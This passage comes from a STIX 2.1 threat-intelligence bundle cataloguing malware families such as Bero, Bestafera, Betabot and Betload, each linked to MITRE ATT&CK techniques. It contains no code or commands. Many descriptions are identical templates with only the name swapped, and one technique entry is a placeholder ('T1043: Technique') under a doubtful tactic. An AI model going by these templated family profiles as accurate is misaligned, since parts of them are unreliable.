      "description": "Bero (classified in antivirus detection telemetry under designations including Ransom:Win32/Bero, Ransom.Win32.Bero, and Win32/Bero) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bero executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bero",
        "Ransom.Win32.Bero",
        "Win32/Bero"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bero",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bero"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35f74d1d-b034-593f-a33e-464d689929f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e59b017-11d7-53d3-9228-db2d9b06d52a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bero exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7200df68-185b-5134-80f2-9dc38c1ce3ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e59b017-11d7-53d3-9228-db2d9b06d52a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bero exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--565c54a5-6580-5c90-8646-53c59681581a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e59b017-11d7-53d3-9228-db2d9b06d52a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bero exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff931aa9-2531-586b-85e2-decb2d311cec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e59b017-11d7-53d3-9228-db2d9b06d52a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bero exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23132a18-19d1-5d86-ae54-5fb909463a6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2e59b017-11d7-53d3-9228-db2d9b06d52a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bero exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--60d98f64-251e-5a89-baf1-2ddf375b234b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bersek",
      "description": "Bersek is an intricate malware strain primarily characterized by its capabilities as a backdoor and information stealer. It infiltrates systems typically via social engineering campaigns, malicious email attachments, or drive-by downloads. Once inside, Bersek immediately establishes a hidden presence, often manipulating system services to ensure it runs continuously. The malware is designed to harvest sensitive data, including login credentials, financial information, and personal documents, which it then exfiltrates to attacker-controlled servers. Furthermore, Bersek has the capacity to download and execute secondary payloads, effectively turning the compromised machine into a node for further malicious activities, such as participating in botnets or distributing spam. Its modular nature and use of strong encryption for command and control communications make it a persistent and dangerous threat to enterprise environments.",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Bersek Backdoor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bersek",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bersek"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c3a170b-8522-5113-b34d-3b34a4e63114",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60d98f64-251e-5a89-baf1-2ddf375b234b",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bersek exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7225511b-4b01-5e16-8183-f690c1655ee9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60d98f64-251e-5a89-baf1-2ddf375b234b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bersek exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--20afbb49-b093-5a56-9804-95c6cdf24fcc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60d98f64-251e-5a89-baf1-2ddf375b234b",
      "target_ref": "attack-pattern--09c42517-207d-5692-a627-244c9dafb071",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bersek exhibits technique T1543 (Create or Modify System Process (Establishing persistence))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d6939cb-8fee-5e2e-9fb2-f91a0fc7e0f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60d98f64-251e-5a89-baf1-2ddf375b234b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bersek exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--63b4d45a-b1b6-54ac-9099-3ab295da6290",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1043: Technique",
      "description": "MITRE ATT&CK Technique T1043 (Technique) under tactic Execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1043",
          "url": "https://attack.mitre.org/techniques/T1043/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a82b6099-3a86-51c5-9c5b-7dc3e40cabb9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--60d98f64-251e-5a89-baf1-2ddf375b234b",
      "target_ref": "attack-pattern--63b4d45a-b1b6-54ac-9099-3ab295da6290",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bersek exhibits technique T1043 (Technique)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0978062c-8ead-5cb8-9fb0-eb0e9259718d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bertle",
      "description": "Bertle (classified in antivirus detection telemetry under designations including Ransom:Win32/Bertle, Ransom.Win32.Bertle, and Win32/Bertle) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bertle executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bertle",
        "Downloader.Bertle",
        "Win32/Bertle",
        "Ransom:Win32/Bertle",
        "Ransom.Win32.Bertle"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bertle",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bertle"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c32de96-7206-5332-aa4b-fc035bc63c27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0978062c-8ead-5cb8-9fb0-eb0e9259718d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bertle exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6cf57c3-56a5-5c30-a3b7-7035f2690fa3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0978062c-8ead-5cb8-9fb0-eb0e9259718d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bertle exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9980cc07-895f-55a6-8463-2e120ad5f20f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0978062c-8ead-5cb8-9fb0-eb0e9259718d",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bertle exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e81d9fc9-1e6c-5921-9ca6-2435c55e7324",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bestafera",
      "description": "Bestafera (cataloged across security vendors and threat intelligence databases under detections including Trojan-Banker:Win32/Bestafera, Trojan.Win32.Bestafera, and Win32/Bestafera) is a classic Brazilian banking trojan and surveillance threat active since 2004. Engineered primarily to steal online banking credentials from Brazilian financial institution accounts, Bestafera is distributed through Portuguese-language phishing emails with malicious attachments, weaponized IRC links, and infected software downloads. Once active on an endpoint, Bestafera installs keyboard hooks via SetWindowsHookEx to log keystrokes entered into web browsers and takes periodic screenshots whenever browser window titles contain strings referencing major Brazilian banks. The trojan terminates security software processes, tampers with DNS and hosts files to redirect banking traffic to phishing portals, and transmits stolen credentials to operator drop accounts via SMTP email or HTTP POST beacons. (Observed samples in benchmark: 48)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Banker:Win32/Bestafera",
        "Trojan.Win32.Bestafera",
        "Win32/Bestafera",
        "Bestafera Banker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bestafera",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bestafera"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c858cfa-677e-5009-a06e-5036f1318e86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e81d9fc9-1e6c-5921-9ca6-2435c55e7324",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bestafera exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5fd233a1-5c2d-52f4-b2a3-c67d32cacb79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e81d9fc9-1e6c-5921-9ca6-2435c55e7324",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bestafera exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b43f9622-548e-517a-b49e-6f027fc1e32e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e81d9fc9-1e6c-5921-9ca6-2435c55e7324",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bestafera exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6635bdda-c543-59ee-8f31-daf2973246cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e81d9fc9-1e6c-5921-9ca6-2435c55e7324",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bestafera exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb95be72-522c-5793-9076-ca5210e9f74c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e81d9fc9-1e6c-5921-9ca6-2435c55e7324",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bestafera exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7164f6cb-a065-507f-920b-13aef6798ba0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Betabot",
      "description": "Betabot (classified in antivirus detection telemetry under designations including Trojan:Win32/Betabot, Trojan.Win32.Betabot, and Win32/Betabot) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Betabot executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Betabot",
        "Trojan.Win32.Betabot",
        "Win32/Betabot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Betabot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/betabot"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--2a9b7a70-b49c-5ee1-bc63-636b409c46ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1548.002: Abuse Elevation Control Mechanism: Bypass User Account Control",
      "description": "MITRE ATT&CK Technique T1548.002 (Abuse Elevation Control Mechanism: Bypass User Account Control) under tactic Privilege Escalation.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1548.002",
          "url": "https://attack.mitre.org/techniques/T1548/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--384cbdd9-1556-5285-87d5-62c41f627c1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7164f6cb-a065-507f-920b-13aef6798ba0",
      "target_ref": "attack-pattern--2a9b7a70-b49c-5ee1-bc63-636b409c46ff",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Betabot exhibits technique T1548.002 (Abuse Elevation Control Mechanism: Bypass User Account Control)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af5b0cb9-8266-517b-b523-a0f6b0bd4569",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7164f6cb-a065-507f-920b-13aef6798ba0",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Betabot exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1042d6ee-e48c-573f-b0e5-d8ad61bfd16b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7164f6cb-a065-507f-920b-13aef6798ba0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Betabot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65f8431d-4cc8-5ab7-9e8d-387703420159",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7164f6cb-a065-507f-920b-13aef6798ba0",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Betabot exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b704d748-e90b-5178-bc77-4aaab0293f8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7164f6cb-a065-507f-920b-13aef6798ba0",
      "target_ref": "attack-pattern--510c8478-024c-53be-b9d9-53f9b7c3bc2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Betabot exhibits technique T1111 (Two-Factor Authentication Interception)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--47e65029-bda8-5030-8e92-e670516d575e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Betkrypt",
      "description": "Betkrypt (classified in antivirus detection telemetry under designations including Ransom:Win32/Betkrypt, Ransom.Win32.Betkrypt, and Win32/Betkrypt) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Betkrypt executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Betkrypt",
        "Ransom.Win32.Betkrypt",
        "Win32/Betkrypt"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Betkrypt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/betkrypt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea350a5e-2a52-596d-ba86-03427ceb8660",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47e65029-bda8-5030-8e92-e670516d575e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Betkrypt exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0c01deb-3dd8-571a-b549-9b16441c677c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47e65029-bda8-5030-8e92-e670516d575e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Betkrypt exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db442d7b-ec86-5432-81f5-e4b621c3de3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47e65029-bda8-5030-8e92-e670516d575e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Betkrypt exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7fd3f35-03a9-5f09-beb1-7b030b69e4d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47e65029-bda8-5030-8e92-e670516d575e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Betkrypt exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d99b2468-cddd-5a31-875a-36a0dbe303b9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--47e65029-bda8-5030-8e92-e670516d575e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Betkrypt exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b680912f-99d3-52c5-a78e-295dd4f55511",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Betload",
      "description": "Betload (classified as Ransom:Win32/Betload, Trojan:Win32/Betload, and TrojanDownloader:Win32/Betload) is a hybrid trojan loader and ransomware payload observed in multi-stage crimeware campaigns. Distributed primarily through compromised gaming forums, trojanized gambling utilities, and deceptive cracked software archives, Betload establishes persistence via registry Run keys before performing network host reconnaissance. If specific enterprise target conditions are met, Betload unpacks its embedded crypto-ransomware module, encrypting user documents, databases, and media files with AES-256 while dropping extortion notes demanding cryptocurrency ransom payments. Betload disables Windows recovery features and deletes local shadow copies to maximize extortion leverage. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Betload",
        "Trojan:Win32/Betload",
        "TrojanDownloader:Win32/Betload",
        "Win32/Betload",
        "Betload Ransomware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Betload",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/betload"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea530d7a-3897-5d58-9fa0-7418fef94e4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b680912f-99d3-52c5-a78e-295dd4f55511",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Betload exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ceb5496-09b9-545d-9fc9-2437c15f3244",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b680912f-99d3-52c5-a78e-295dd4f55511",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Betload exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b7d4769-7097-5606-9e22-1b7fca69c940",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b680912f-99d3-52c5-a78e-295dd4f55511",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Betload exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b8a545b-32ed-5d41-9af4-d83bbdaa9cf9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b680912f-99d3-52c5-a78e-295dd4f55511",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Betload exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
